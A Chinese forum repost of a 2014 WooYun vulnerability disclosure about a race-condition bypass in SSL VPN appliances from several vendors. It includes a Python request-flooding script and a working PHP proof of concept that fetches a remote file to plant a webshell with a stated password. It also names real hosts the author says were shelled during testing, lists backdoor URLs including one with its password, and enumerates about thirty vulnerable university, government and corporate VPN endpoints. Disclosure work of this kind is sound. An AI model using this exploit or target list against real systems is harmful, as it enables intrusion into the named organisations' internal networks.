发新话题
打印

网御神州 网神 天融信 西安网赢 卫士通 吉大正元 凹凸 ANIX vpn设备厂商批量漏洞(一)

网御神州 网神 天融信 西安网赢 卫士通 吉大正元 凹凸 ANIX vpn设备厂商批量漏洞(一)

漏洞概要
缺陷编号:        WooYun-2014-48202
漏洞标题:        国内外多家vpn设备厂商批量漏洞(续集一)
相关厂商:        众多vpn厂商
漏洞作者:        felixk3y
提交时间:        2014-01-07 18:27
公开时间:        2014-04-07 18:28
漏洞类型:        设计不当
危害等级:        高
自评Rank:        20
漏洞状态:        已交由第三方厂商(cncert国家互联网应急中心)处理
漏洞来源:        http://www.wooyun.org
Tags标签:       远程命令执行 设计缺陷/边界绕过 任意文件下载 数据库明文密码

漏洞详情披露状态:
2014-01-07:        细节已通知厂商并且等待厂商处理中
2014-01-12:        厂商已经确认,细节仅向厂商公开
2014-01-15:        细节向第三方安全合作伙伴开放
2014-01-22:        细节向核心白帽子及相关领域专家公开
2014-02-01:        细节向普通白帽子公开
2014-02-21:        细节向实习白帽子公开
2014-04-07:        细节向公众公开

简要描述:利用此漏洞可导致任意文件写入,任意代码/命令执行,大量内网可免门票任意漫游 漫游...
同时该漏洞涉及到包括网御神州、天融信、西安网赢、卫士通、吉大正元、美国凹凸、德国 ANIX等多家VPN厂商设备在政务、地产、运营商、政府部门、高校、企业、公安、司法、银行等行业存在的任意文件下载、远程命令执行、维护后门、三方平台帐号泄漏、恶意客户端下发等高位漏洞。

详细说明:#1 首先请看:


code 区域 WooYun: [浅谈内网安全]--国内外多家vpn设备厂商批量漏洞

漏洞修复中,@紫梦芊 提到修复方法,详见如下:


code 区域exec("cp ".$_POST['realfile']." ".$_POST['path']."");改为
copy($_POST['realfile'],$_POST['path'])
exec("rm ".$_POST["path"]."");改为
unlink($_POST['path'])

嘿,没想到这些厂商还真是这样修复的...

咦? 这样修复没有问题啊,但真的是没问题吗?要是真的没问题,就不会有下文了,哈哈...

各位看官,且听我细细道来...

#2 我们打开根目录下的minica_down.php文件,代码贴出来


code 区域<?
if($_POST['realfile'])
        copy($_POST['realfile'],$_POST['path']);
//$_POST[path] = mb_convert_encoding($_POST[path],"GBK","UTF-8");
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile'])
        unlink($_POST["path"]);
?>

第二行代码:


code 区域copy($_POST['realfile'],$_POST['path']);

从POST提交的realfile,复制到POST提交的path参数

倒数三行代码:


code 区域if($_POST['realfile'])
        unlink($_POST["path"]);
?>

如果提交了realfile参数,则删除path参数所提交的文件,即

假如我们post提交,realfile=/ssl/www/test.jpg & path=/ssl/www/admin/shell.php

很容易的得到我们想要的shell,但在代码的最后三行,最终删除了path即 删除了我们想要的shell:/ssl/www/admin/shell.php



这段代码的逻辑看起来没什么问题,但是呢 我们人是最善于思考的动物,SO...



#3 思考中... ...

#4 思考后的结果

程序的执行需要一个过程,哪怕这个过程很短很短,鉴于此,我们有了如下的结果...

(要是我们能在程序删除我们想要的那个shell前,通过一定的方法抢在其前面访问那个shell,这个shell帮我们生成另一个shell,那么这个新生成的shell总不会被删除吧...)

这里简单小结一下

正常情况:

copy成shell1--->删除shell1;

被攻击时的情况:

copy成shell1--->访问shell1-->shell1生成shell2-->删除shell1 明白了吧?



有了想法,那就开始行动吧...

方法一:

我们可以用py写一个多线程的代码,唯一功能是:不停的访问copy成的shell1


code 区域#coding=utf-8

import os
import urllib2
import urllib
import threading

class Query(threading.Thread):
    def __init__(self,url):
        threading.Thread.__init__(self)
        self.url = url
    def run(self):
        while True:
            print 'Testing...'
            try:
                rep = urllib2.urlopen(self.url,timeout=2)
            except :
                pass

def main():
    threads = []
    url = "http://www.vulns.org/shell1.php"
    for i in range(20):
        t = Query(url)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
if __name__=="__main__":
    main()

方法二:

将post提交和访问shell让程序同时进行...

经过一系列的测试:方法一成功的几率很小,这里 我们选择方法二


漏洞证明:#5 漏洞最终利用

这里 我们用php写漏洞利用的POC:


code 区域<?php
set_time_limit(0);
error_reporting(0);

function get($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);//https请求,不验证证书和hosts
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_HEADER,0);
        $output = curl_exec($ch);
        curl_close($ch);
        return $output;
}
function post($url,$params){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
        $output = curl_exec($ch);
        curl_close($ch);
        return $output;
}
$i=0;
$url = "https://vpn.com.cn/minica_down.php";
$geturl1 = "https://vpn.com.cn/sub_ca_reglog.php";
$postdata = "realfile=http://www.xxx.com/exp.txt&path=sub_ca_reglog.php";
while(++$i<5) {
        echo "\nTesting[$i]....\n";
    post($url,$postdata);
        get($geturl1);
}
$vali_url = "https://vpn.com.cn/shell.php";
$resp = get($vali_url);
echo $resp;
if(preg_match('/200 OK/',$resp)){
        echo "Success! shell is : $vali_url, Pass is [1@3]";
}else{
        echo  "------->Fail!\n\n";
}
?>



POC说明:

POST提交参数:


code 区域realfile=http://www.com.cn/2.txt&path=sub_ca_reglog1.php

realfile参数是远程的一个文件,目的是生成最终的shell 大小最好几十KB,为我们访问中间的shell1争取时间 增加成功的概率嘛,内容如下:





path是我们想要生成的文件,这里是:sub_ca_reglog1.php



Tips:由于这里只是POC,所以在运行的时候 最好多试几次,要是试了几次任然没生成shell,此时可手动访问:http://www.com.cn/sub_ca_reglog1.php 说不定会有意想不到的效果哦.

#6 shell

https://svpn.mbatec.com.tw

https://vpn.mcut.edu.tw 这两个url,对不起了啊,毕竟为了测试嘛







同时我发现,有很多网站被人留了后门,清理一下吧

https://xxxxxxx/admin/free.php 密码cmd

https://svpn.mbatec.com.tw/welcome_time1.php

https://svpn.mbatec.com.tw/sub_ca_reglog1.php

https://svpn.mbatec.com.tw/sub_ca_reglog2.php

https://svpn.mbatec.com.tw/sub_ca_reglog3.php

#7 漏洞站点(摘自@紫梦芊)

至少有如下的站点,未列完.....


code 区域https://vpn.bit.edu.cn/ 北京理工
https://sslvpn.bjtu.edu.cn/ 北交大
https://125.46.88.100/ 郑州大学
https://219.80.0.19/p 国泰地产集团
https://info.nai.edu.cn/ 北京国家会计学院
https://124.205.79.78/ 北大计算中心
https://210.82.53.201/ 北京联合大学
https://vpn.cnu.edu.cn/ 首都师大
https://vpn.mcut.edu.tw/ 台湾明志科技大学
https://ac.whlib.gov.cn 武汉图书馆
https://sslvpn.nhcue.edu.tw 新竹教育大学
https://isms.ydu.edu.tw/ 育達商業科技大學
https://sslvpn.ydu.edu.tw/ 育達商業科技大學
https://vpn.cute.edu.tw 中国(台湾)科技大学
https://sslvpn.ntue.edu.tw 国立台北教育大学
https://vpn.psi.com.tw 升阳国际
https://maltimur.jksm.gov.my/ 马来西亚某政府网站
https://vpn.ccom.edu.cn 中央音乐学院
https://vpn.dlmu.edu.cn 大连海事大学
https://vpn.wanfang.edu.cn 河南理工
https://vpn.genius.com.cn 深圳巨灵
https://sslvpn.changhongit.com 长虹佳华
https://vpn.jnrd.com.cn 北京京能热电
https://sslvpn.kworld.com.tw 廣寰台北辦公室
https://www.oo586.com/ 易宝支付
https://svpn.mbatec.com.tw 新碩資訊
https://sslvpn.szs.com.tw 新日兴
https://sslvpn.gzcatv.net 广数传媒
https://e.nais.net.cn 农业部农E通
https://vpn.thcic.cn 清华
修复方案:神马意思,你们懂,要是不懂 再问我,OK...
版权声明:转载请注明来源 felixk3y@乌云

漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-01-12 11:36
厂商回复:CNVD确认并复现所述况,并根据利用原理对EXP进行了改写,提高了测试成功率。在9日上午已经复现多个实例,不过在9日下午之后测试结果出现新的变化。需要汇总进一步的结果才进行处置。
最新状态:暂无

原文:http://www.wooyun.org/bugs/wooyun-2010-048202

[ 本帖最后由 linda 于 2016-2-15 11:01 编辑 ]

TOP

发新话题